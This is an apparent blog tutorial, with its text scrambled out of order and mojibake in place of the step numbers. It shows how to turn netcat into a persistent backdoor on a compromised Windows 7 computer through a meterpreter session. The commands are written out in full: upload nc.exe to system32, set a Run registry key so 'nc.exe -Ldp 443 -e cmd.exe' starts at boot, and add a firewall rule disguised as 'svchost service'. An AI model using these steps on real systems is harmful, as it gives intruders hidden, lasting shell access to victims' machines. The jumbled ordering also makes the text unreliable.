Yep everything has been set up so great until this step, now we will run our netcat to try connect to victim computer by running :ġ0. When success add our firewall rule, let's check and make sure our new rule has been added or not by using this command :ĩ. Netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443Ĩ.
run shell command from meterpreter to access command prompt, and then run : Until this step everything looks okay, for the next step we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443. Reg queryval -k HKLM\\ software\\ microsoft\\ windows\\currentversion\\run -v ncħ. To check our backdoor autorun process and make sure it already added on autorun list : Then add our NetCat into start up process by running this command : meterpreter > reg setval -k HKLM\\ software\\ microsoft\\ windows\\currentversion\\run -v nc -d 'C:\ windows\system32\nc.exe -Ldp 443 -e cmd.exe'Ħ. Reg enumkey -k HKLM\\ software\\ microsoft\\ windows\\currentversion\\runĥ. We do this by editing the key " HKLM\software\microsoft\windows\currentversion\run". The next step we need to configure the registry to make NetCat execute on Windows start up and listening on port 443. When upload process successful it will shown like this :Ĥ. When it failed to upload(look the picture above), you need to escalate your privilege to system account (view the tutorial privilege escalation here).
Upload nc.exe and place it in C:\ windows\system32 on victim computer Upload /pentest/ windows-binaries/tools/nc.exe C:\\ windows\\system32 The next step you need to upload your NetCat.exe to victim computer by using following command : The first step you need to gain an access to victim computer and get a meterpreter script for the payload ( I'm using java signed applet from my previous tutorial).Ģ.
Meterpreter Script (you can get meterpreter script when successfully compromise victim with selected payload) 10 Steps to Use NetCat as a Backdoor in Windows 7 System:ġ. This tutorial I will write based on gaining access using java signed applet exploit in my previous tutorial. When an attacker successfully compromise a system they need to maintain the connection, that's why the attacker usually installing backdoor on victim computer for future use to make attacker easily connect to victim computer to use victim resource, and collecting data on victim computer.Īre you sure netcat can be used as a backdoor? yes sure of course 🙂 In this tutorial I will write down the technique to set up the famous listener application NetCat as a backdoor for Windows system when attacker successfully compromised victim computer and gaining meterpreter access.
0 kommentar(er)
